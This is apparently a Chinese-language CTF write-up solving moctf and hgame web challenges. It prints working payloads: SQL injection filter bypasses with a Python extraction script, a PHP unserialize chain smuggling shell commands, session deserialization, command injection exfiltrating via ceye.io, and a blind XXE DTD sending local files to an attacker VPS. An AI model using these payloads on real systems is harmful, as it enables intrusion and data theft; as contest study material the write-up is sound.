moctf学习

比赛的最后一个小时才知道.看大神的博客学习一下. 大神博客http://skysec.top/.

是时候让你手指锻炼一下了

看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 108000){
var form = $('<form action="" method="get">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();



}
});
});
</script>

看一下请求,get一个clicks=108000

1
view-source:http://120.78.57.208:6003/web1/?clicks=108000

拿到flag:moctf{Here_Is_Your_Surprise}

ez Injection

1
view-source:http://120.78.57.208:6002/?id=1

返回

1
<b>尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名</b></br></center>

随意测试一下发现空格被过滤,注释绕过,sky大神用的%0a绕,差不多

1
view-source:http://120.78.57.208:6002/?id=1%27/**/order/**/by/**/4%23

无返回

1
view-source:http://120.78.57.208:6002/?id=1%27/**/order/**/by/**/3%23

返回

1
<b>尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名</b></br></center>

发现提取的三列 然后尝试用union select

1
view-source:http://120.78.57.208:6002/?id=1%27/**/union/**/select/**/1,2,3%23

发现没有返回... 这个时候我就傻逼了...不知道怎么做,看了大神的wp之后... 大神随手一个双写就绕过去了.. 大神的想法是..可能union和select被过滤了 那么访问

1
view-source:http://120.78.57.208:6002/?id=1%27/**/union%23

应该是返回正常的 我自己去尝试了一下,发现确实正常,那么为什么是把union替换为了空呐? 我自己又去尝试了一下

1
view-source:http://120.78.57.208:6002/?id=1%27/**/1%23

发现返回的是空,那么前面的那个应该是把union替换为了空,所以双写可以绕过的,应该是这个逻辑

1
view-source:120.78.57.208:6002/?id=1%27/**/ununionion/**/selselectect/**/1,2,3%23

得到返回

1
<b>尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名</b></br><b>尊敬的:2您本次恭喜您本次比赛荣获第:1名</b></br></center>

然后测试的时候发现括号被过滤了,但是影响不大,直接提取就好了 然后去访问

1
view-source:120.78.57.208:6002/?id=1'/**/ununionion/**/selselectect/**/1,table_name,3/**/from/**/information_schema.tables%23

发现又没有返回了,多的单词只有table_name,from,information,schema,一个一个测试

1
view-source:http://120.78.57.208:6002/?id=1%27/**/information%23

后面的information换成table,name,schema都返回空,说明没被过滤,但是from返回正常,那么双写from,提取成功,直接提取出了所有表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名
尊敬的:CHARACTER_SETS您本次恭喜您本次比赛荣获第:1名
尊敬的:COLLATIONS您本次恭喜您本次比赛荣获第:1名
尊敬的:COLLATION_CHARACTER_SET_APPLICABILITY您本次恭喜您本次比赛荣获第:1名
尊敬的:COLUMNS您本次恭喜您本次比赛荣获第:1名
尊敬的:COLUMN_PRIVILEGES您本次恭喜您本次比赛荣获第:1名
尊敬的:ENGINES您本次恭喜您本次比赛荣获第:1名
尊敬的:EVENTS您本次恭喜您本次比赛荣获第:1名
尊敬的:FILES您本次恭喜您本次比赛荣获第:1名
尊敬的:GLOBAL_STATUS您本次恭喜您本次比赛荣获第:1名
尊敬的:GLOBAL_VARIABLES您本次恭喜您本次比赛荣获第:1名
尊敬的:KEY_COLUMN_USAGE您本次恭喜您本次比赛荣获第:1名
尊敬的:PARAMETERS您本次恭喜您本次比赛荣获第:1名
尊敬的:PARTITIONS您本次恭喜您本次比赛荣获第:1名
尊敬的:PLUGINS您本次恭喜您本次比赛荣获第:1名
尊敬的:PROCESSLIST您本次恭喜您本次比赛荣获第:1名
尊敬的:PROFILING您本次恭喜您本次比赛荣获第:1名
尊敬的:REFERENTIAL_CONSTRAINTS您本次恭喜您本次比赛荣获第:1名
尊敬的:ROUTINES您本次恭喜您本次比赛荣获第:1名
尊敬的:SCHEMATA您本次恭喜您本次比赛荣获第:1名
尊敬的:SCHEMA_PRIVILEGES您本次恭喜您本次比赛荣获第:1名
尊敬的:SESSION_STATUS您本次恭喜您本次比赛荣获第:1名
尊敬的:SESSION_VARIABLES您本次恭喜您本次比赛荣获第:1名
尊敬的:STATISTICS您本次恭喜您本次比赛荣获第:1名
尊敬的:TABLES您本次恭喜您本次比赛荣获第:1名
尊敬的:TABLESPACES您本次恭喜您本次比赛荣获第:1名
尊敬的:TABLE_CONSTRAINTS您本次恭喜您本次比赛荣获第:1名
尊敬的:TABLE_PRIVILEGES您本次恭喜您本次比赛荣获第:1名
尊敬的:TRIGGERS您本次恭喜您本次比赛荣获第:1名
尊敬的:USER_PRIVILEGES您本次恭喜您本次比赛荣获第:1名
尊敬的:VIEWS您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_BUFFER_PAGE您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_TRX您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_BUFFER_POOL_STATS您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_LOCK_WAITS您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_CMPMEM您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_CMP您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_LOCKS您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_CMPMEM_RESET您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_CMP_RESET您本次恭喜您本次比赛荣获第:1名
尊敬的:INNODB_BUFFER_PAGE_LRU您本次恭喜您本次比赛荣获第:1名
尊敬的:columns_priv您本次恭喜您本次比赛荣获第:1名
尊敬的:db您本次恭喜您本次比赛荣获第:1名
尊敬的:event您本次恭喜您本次比赛荣获第:1名
尊敬的:func您本次恭喜您本次比赛荣获第:1名
尊敬的:general_log您本次恭喜您本次比赛荣获第:1名
尊敬的:help_category您本次恭喜您本次比赛荣获第:1名
尊敬的:help_keyword您本次恭喜您本次比赛荣获第:1名
尊敬的:help_relation您本次恭喜您本次比赛荣获第:1名
尊敬的:help_topic您本次恭喜您本次比赛荣获第:1名
尊敬的:host您本次恭喜您本次比赛荣获第:1名
尊敬的:ndb_binlog_index您本次恭喜您本次比赛荣获第:1名
尊敬的:plugin您本次恭喜您本次比赛荣获第:1名
尊敬的:proc您本次恭喜您本次比赛荣获第:1名
尊敬的:procs_priv您本次恭喜您本次比赛荣获第:1名
尊敬的:proxies_priv您本次恭喜您本次比赛荣获第:1名
尊敬的:servers您本次恭喜您本次比赛荣获第:1名
尊敬的:slow_log您本次恭喜您本次比赛荣获第:1名
尊敬的:tables_priv您本次恭喜您本次比赛荣获第:1名
尊敬的:time_zone您本次恭喜您本次比赛荣获第:1名
尊敬的:time_zone_leap_second您本次恭喜您本次比赛荣获第:1名
尊敬的:time_zone_name您本次恭喜您本次比赛荣获第:1名
尊敬的:time_zone_transition您本次恭喜您本次比赛荣获第:1名
尊敬的:time_zone_transition_type您本次恭喜您本次比赛荣获第:1名
尊敬的:user您本次恭喜您本次比赛荣获第:1名
尊敬的:cond_instances您本次恭喜您本次比赛荣获第:1名
尊敬的:events_waits_current您本次恭喜您本次比赛荣获第:1名
尊敬的:events_waits_history您本次恭喜您本次比赛荣获第:1名
尊敬的:events_waits_history_long您本次恭喜您本次比赛荣获第:1名
尊敬的:events_waits_summary_by_instance您本次恭喜您本次比赛荣获第:1名
尊敬的:events_waits_summary_by_thread_by_event_name您本次恭喜您本次比赛荣获第:1名
尊敬的:events_waits_summary_global_by_event_name您本次恭喜您本次比赛荣获第:1名
尊敬的:file_instances您本次恭喜您本次比赛荣获第:1名
尊敬的:file_summary_by_event_name您本次恭喜您本次比赛荣获第:1名
尊敬的:file_summary_by_instance您本次恭喜您本次比赛荣获第:1名
尊敬的:mutex_instances您本次恭喜您本次比赛荣获第:1名
尊敬的:performance_timers您本次恭喜您本次比赛荣获第:1名
尊敬的:rwlock_instances您本次恭喜您本次比赛荣获第:1名
尊敬的:setup_consumers您本次恭喜您本次比赛荣获第:1名
尊敬的:setup_instruments您本次恭喜您本次比赛荣获第:1名
尊敬的:setup_timers您本次恭喜您本次比赛荣获第:1名
尊敬的:threads您本次恭喜您本次比赛荣获第:1名
尊敬的:04ad5938eaf0efb6您本次恭喜您本次比赛荣获第:1名
尊敬的:qqflycar您本次恭喜您本次比赛荣获第:1名

发现倒数第二个比较奇怪,那么继续提取 提取的时候发现where被过滤,双写绕

1
view-source:http://120.78.57.208:6002/?id=1%27/**/ununionion/**/selselectect/**/1,column_name,3/**/frfromom/**/information_schema.columns/**/whwhereere/**/table_name=%2204ad5938eaf0efb6%22%23

这里双引号没被过滤,直接用名字上了,过滤了的话可以0x+十六进制绕过 返回

1
2
3
尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名
尊敬的:name您本次恭喜您本次比赛荣获第:1名
尊敬的:value您本次恭喜您本次比赛荣获第:1名

继续提value

1
view-source:http://120.78.57.208:6002/?id=1%27/**/ununionion/**/selselectect/**/1,value,3/**/frfromom/**/04ad5938eaf0efb6%23

返回

1
2
尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名
尊敬的:moctf{5o_easy_inj3cTi0n}您本次恭喜您本次比赛荣获第:1名

flag:moctf{5o_easy_inj3cTi0n}

要认真

发现一个后台登录界面,继续找一找,发现一个url

1
http://119.29.170.143:6003/list.php?id=23

然后测试一下

1
2
http://119.29.170.143:6003/list.php?id=23^0
http://119.29.170.143:6003/list.php?id=23^1

发现返回不一样 大神是盲注,但是我盲注的时候出了点问题,这个地方卡了好久... 这个地方过滤掉了等于号和where,但是可以报错注入,所以我是报错注入做的,注意闭合它的括号 其次注意报错注入每次只能提取32个字符,所以一次一次提取,最后一次的结果已经无所谓了,因为有用的已经提出来了

1
2
3
4
5
6
7
8
import requests
import re
#list1=['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ',', '_']

for num in range(0,100):
r=requests.get("http://119.29.170.143:6003/list.php?id=23)%20and%20extractvalue(1,concat(0x3a,substr((select%20group_concat(table_name)%20from%20information_schema.tables),"+str(1+num*31)+",31)))%23")
res = re.findall(r"XPATH syntax error: ':([^']+)'",r.text)[0]
print(res,end='')

得到返回

1
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BUFFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPMEM,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users,columns_priv,db,event,func,general_log,help_category,help_keyword,help_relation,help_topic,host,ndb_binlog_index,plugin,proc,procs_priv,proxies_priv,servers,slow_log,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user,cond_instances,events_waits_current,events_waits_history,events_waits_history_long

后面可能还会有,但是因为不足32个字符,爆了错,这里我就不管了,因为有用的cms_users已经出来了,继续注入爆列,得到了

1
CHARACTER_SET_NAME,DEFAULT_COLLATE_NAME,DESCRIPTION,MAXLEN,COLLATION_NAME,CHARACTER_SET_NAME,ID,IS_DEFAULT,IS_COMPILED,SORTLEN,COLLATION_NAME,CHARACTER_SET_NAME,TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME,ORDINAL_POSITION,COLUMN_DEFAULT,IS_NULLABLE,DATA_TYPE,CHARACTER_MAXIMUM_LENGTH,CHARACTER_OCTET_LENGTH,NUMERIC_PRECISION,NUMERIC_SCALE,CHARACTER_SET_NAME,COLLATION_NAME,COLUMN_TYPE,COLUMN_KEY,EXTRA,PRIVILEGES,COLUMN_COMMENT,GRANTEE,TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME,PRIVILEGE_TYPE,IS_GRANTABLE,ENGINE,SUPPORT,COMMENT,TRANSACTIONS,XA,SAVEPOINTS,EVENT_CATALOG,EVENT_SCHEMA,EVENT_NAME,DEFINER,TIME_ZONE,EVENT_BODY,EVENT_DEFINITION,EVENT_TYPE,EXECUTE_AT,INTERVAL_VALUE,INTERVAL_FIELD,SQL_MODE,STARTS,ENDS,STATUS,ON_COMPLETION,CREATED,LAST_ALTERED,LAST_EXECUTED,EVENT_COMMENT,ORIGINATOR,CHARACTER_SET_CLIENT,COLLATION_CONNECTION,DATABASE_COLLATION,FILE_ID,FILE_NAME,FILE_TYPE,TABLESPACE_NAME,TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,LOGFILE_GROUP_NAME,LOGFILE_GROUP_NUMBER,ENGINE,FULLTEXT_KEYS,DELETED_ROWS

这里其实很迷,因为应该提取出一个username和password列才对..但是没有,后来我直接提取username和password拿到密码,然后到后台登录,传马+nginx解析漏洞,拿到webshell,然后因为数据库不在这个网站,所以我也连了一下数据库,然后提一下,也没有提取出username和password列,后续研究研究再说吧... flag:moctf{Y0u_need_to_b3_ser1ous}

PUBG

首先index.php.bak源码泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<html>
<title>MOCTF吃鸡大赛</title>
<style type="text/css">
a{
text-decoration:none;
color:white;
}
body
{
background:url('image/PUBG.jpg');
background-attachment:fixed;
background-repeat:no-repeat;
background-size:cover;
-moz-background-size:cover;
-webkit-background-size:cover;
}
center
{
color:white;
}
</style>
<body>
<center>
<p>你现在正在飞机上,请选择要跳的地方</p></br>
<p><a href="?LandIn=airport">机场</a></p>
<p><a href="?LandIn=school">学校</a></p>
<p><a href="?LandIn=field">打野</a></p>
<p><a href="?LandIn=AFK">上个厕所</a></p>
</center>
</body>
</html>
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");

}
}
?>

然后去搞class.php源码,发现class.php.bak泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>

然后本地构造一下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class sheldon{
public $bag="nothing";
public $weapon="AWM";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
}
$temp = new sheldon();
$temp->bag = "win.php && cat waf.php && index";
var_dump(urlencode(serialize($temp)));

然后记得把属性数量改一下绕__wakeup 本来是

1
O%3A7%3A%22sheldon%22%3A2%3A%7Bs%3A3%3A%22bag%22%3Bs%3A31%3A%22win.php+%26%26+cat+waf.php+%26%26+index%22%3Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3B%7D

然后改成

1
O%3A7%3A%22sheldon%22%3A20%3A%7Bs%3A3%3A%22bag%22%3Bs%3A31%3A%22win.php+%26%26+cat+waf.php+%26%26+index%22%3Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3B%7D

访问一下

1
http://120.78.57.208:6001/?LandIn=school&&pubg=O%3A7%3A%22sheldon%22%3A20%3A%7Bs%3A3%3A%22bag%22%3Bs%3A31%3A%22win.php+%26%26+cat+waf.php+%26%26+index%22%3Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3B%7D

得到waf.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);

function waf($values){
//$black = [];
$black = array('vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','head','tail','more','tac','rm','ls','tailf','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf');

foreach ($black as $key => $value) {
if(stripos($values,$value)){
die("Attack!");
}
}
}

?>

然后用\绕过waf 比如用l\s绕过ls 然后访问

1
view-source:http://120.78.57.208:6001/?LandIn=school&&pubg=O%3A7%3A%22sheldon%22%3A20%3A%7Bs%3A3%3A%22bag%22%3Bs%3A23%3A%22win.php+%26%26+l%5Cs+%26%26+index%22%3Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3B%7D

得到

1
2
3
4
5
6
class.php
class.php.bak
image
index.php
index.php.bak
waf.php

然后构造一个

1
win.php && find  pw\d&& index

得到

1
2
3
4
5
6
7
8
9
10
./class
./class/flag.php
./class/win.php
./image
./image/PUBG.jpg
./index.php.bak
./waf.php
./class.php
./class.php.bak
./index.php

然后cat一下就ok

1
win.php && cat ./class/flag.php&& index

得到flag

1
2
3
<?php
//moctf{Try_Learn_PhP_h4rder}
?>

登录一哈

首先.git泄漏,githack一波 index.php的主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();

if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION["username"] = $username;
header("Location:./index.php");
}
else if(isset($_SESSION["username"])){
echo '<h1>hello '.$_SESSION["username"].'</h1>';
}
else {
?>

flag.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
session_start();
class MOCTF{
public $flag;
public $name;
function __destruct(){
$this->flag = "moctf{xxxxxxxxxxxxxxxxxxx}";
if($this->flag == $this->name){
echo "Wow,this is flag:".$this->flag;
}
}
}

这里发现session的序列化处理和反序列化处理不同,所以可以利用一下,具体参考 http://www.jb51.net/article/107101.htm 然后注意flag.php里面有个 $this->flag == $this->name 那么可以用引用绕过 \(this->name = &\)this->flag 然后序列化,代码如下

1
2
3
4
5
6
7
8
<?php
class MOCTF{
public $flag;
public $name;
}
$temp = new MOCTF();
$temp -> name = &$temp->flag;
var_dump(serialize($temp));

得到结果 O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;} 然后提交帐号为O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;} 密码随意,然后访问flag.php,拿到flag Wow,this is flag:moctf{ser1ali2e_h4ndler_1s_c00l}

ping一下好吗

命令执行的题目,一道题学到了不少东西 首先ceye.io了解一下 注册一个号,然后里面有攻击的payload 不知道为什么大神的方法不行

1
`lsbase64`.xxxx.ceye.io

但是我就不行... 后来想了个办法,既然命令可以执行,那么我直接把得到的回显写到另外一个文件不就好了 所以我就

1
`ls>123.txt`.xxxx.ceye.io

得到文件目录

1
2
3
4
5
6
123.txt
apache2
css
exec.php
fhnrwlnbjvf.php
index.html

然后再

1
`cat fhnrwlnbjvf.php>321.txt`.xxxx.ceye.io

去访问一下321.txt

1
<?php $flag="moctf{dfa10ff1bd9872cda1d408f07eb66394}";

本来打算用sed -n -p1来提取的,但是-被过滤了...很惨... 看完这道题还顺便理解了之前hctf的那道oob,不错不错 噢噢对了,把源码放一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

// Get input

$target = $_REQUEST[ 'ip' ];
// var_dump($target);
$target=trim($target);
// var_dump($target);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'-' => '',
'' => '',
'' => '',
'' => '',
'python' => '',
'bash' => '',
'nc' =>''
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

var_dump($target);

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows

$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}

// Feedback for the end user
if($cmd != NULL){
echo "exec success"."</br>";
}
var_dump($cmd);
?>

2.22更新

字符串处理

这道题啊...真是惨到爆炸,题目提示的是application/xml,然后client-ip= localhost, 就很明显是xxe,但是我并不会,看了大佬的博客之后,自己试着写了一个blind xxe的payload 但是从来都没有成功过,所以这篇文章拖到现在还没发... 虽然现在题目已经关掉了,但是还是把payload给发一下吧,虽然这个payload是hgame里的payload,不过自己修改一下xml文件就ok(其实叫dtd更好一点),这里给出hgame的**书店那道题的解法

测试版:

首先服务器上放一个evil.xml文件

1
2
3
4
<!ENTITY % payload "1111">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://你的vps/xxe.php?f=%payload;'>">
%int;
%trick;

然后 xxe.php的文件内容是

1
2
3
<?php
file_put_contents("./1.txt", $_GET['f']);
?>

然后post的内容是

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://你的vps/evil.xml">
%remote;
]>

然后就可以在vps上收到数据,1.txt里面就是1111 如果把payload里的东西改成请求的话,那么就是把evil.xml改成

1
2
3
4
<!ENTITY % payload SYSTEM "file:///a/b">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://你的vps/xxe.php?f=%payload;'>">
%int;
%trick;

这里就可以读取到服务器上的a/b的文件并存到你vps上当前目录的1.txt下 然后就拿到flag: hgame{Xxe_v3ry_funny!!!!}